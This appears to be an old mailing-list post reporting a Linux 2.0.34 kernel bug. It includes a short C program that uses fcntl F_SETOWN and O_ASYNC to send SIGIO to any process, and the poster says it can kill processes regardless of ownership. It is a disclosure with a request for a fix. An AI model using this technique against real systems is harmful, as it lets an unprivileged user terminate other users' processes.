I am using:
  Red Hat Linux release 5.1 (Manhattan)
  Kernel 2.0.34 on an i586

This little code:
  #include <fcntl.h>
  #include <errno.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>

  int main(int argc, char *argv[]) {
    int s, p;
    if (argc != 2) {
      fputs("Please specify a pid to send signal to.\n",
stderr);
      exit(0);
    } else {
      p = atoi(argv[1]);
    }
    fcntl(0,F_SETOWN,p);
    s = fcntl(0,F_GETFL,0);
    fcntl(0,F_SETFL,s|O_ASYNC);
    printf("Sending SIGIO - press enter.\n");
    getchar();
    fcntl(0,F_SETFL,s&~O_ASYNC);
    printf("SIGIO send attempted.\n");
    return 0;
  }

Can kill just about anything without looking at ownership.

I just guessed the problem is in the kernel ???


I am nost sure if this have been fixed, or even looked at
but a little pointer to a solution would be greatly
appreciated.

Thx,
